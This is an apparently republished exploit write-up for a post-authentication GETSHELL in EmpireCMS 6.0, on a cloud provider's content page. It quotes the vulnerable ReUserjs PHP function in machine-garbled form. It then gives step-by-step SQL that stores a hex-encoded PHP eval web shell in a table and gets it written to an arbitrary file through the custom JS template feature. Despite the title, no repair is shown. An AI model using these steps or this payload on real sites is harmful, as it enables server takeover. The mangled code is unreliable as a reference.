EmpireCMS 6.0 management permission GETSHELL and repair

Source: Internet
Author: User

Team: hExIe Team

Author: HYrz

TestEd On: IIS6.0 + 2k3

 

Analysis process:

\ E \ class \ functions. php 2609 line ReUserjs function.

View sourceprint? Function ReUserjs ($ jsr, $ addpath ){

Global $ empire, $ public_r;

DoFileMkDir ($ addpath. $ jsr ['jsfilename']); // create a directory

// Obtain the js Template

$ Jstemptext = GetTheJstemp ($ jsr [jstempid]); // retrieve and set the Js Array

$ Ret_r = ReturnReplaceListF ($ jstemptext [modid]); // Field

$ Jstemptext [temptext] = str_replace ('[! -- News. url --] ', $ public_r [newsurl], $ jstemptext [temptext]);

$ Temp_r = explode ("[! -- Empirenews. listtemp --] ", $ jstemptext [temptext]);

$ Query = stripSlashes ($ jsr [jssql]);

$ Query = RepSqlTbpre ($ query );

$ SQL = $ empire-> query ($ query); // www.2cto.com only supports the Select statement. When the program arrives here, it indicates that it has passed the White List check.

$ No = 1;

While ($ r = $ empire-> fetch ($ SQL ))

{

$ R [oldtitle] = $ r [title]; // title ALT (not truncated)

// Replace the list variable

$ Repvar = ReplaceListVars ($ no, $ temp_r [1], $ jstemptext [subnews], $ jstemptext [subtitle], $ jstemptext [showdate], $ url, 0, $ r, $ ret_r); // the function that modifies the retrieved information before the output.

$ Allnew. = $ repvar;

$ No ++;

}

$ Allnew = "document. write (\"". addslashes (stripSlashes (str_replace ("\ r \ n", "", $ temp_r [0]. $ allnew. $ temp_r [2]). "\");";

WriteFiletext_n ($ addpath. $ jsr ['jsfilename'], $ allnew );

}
View sourceprint?

 

If you want to write a script Trojan, it is not feasible to directly submit an article in the background to control the Title and other elements, because you have filtered out the Code delimiters after posting a Code article that can control [title], it cannot be used directly. however, there is a SQL Execution place in the background. We can create a table, add a field named "title", and then insert your code into the field. in this way, our code will be fine.

Specific GetShell process:

1. Create a table first

View sourceprint? Create table Excjs (title varchar (80 ))

 

Insert into Excjs (title) Value (0x3C3F706870206576616C28245F504F53545B785D293F3E) // processed by the HEX function. Original article: <? Php eval ($ _ POST [x])?>

2. Manage templates-> Add custom JS.

There is no limit on the file name in the Js path. You can replace it with any file name.

"Query SQL statement:" fill in here: select * frOm Excjs. In manage Js here find the Js you modified, and finally access your shell through the path you modified.

 


 

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.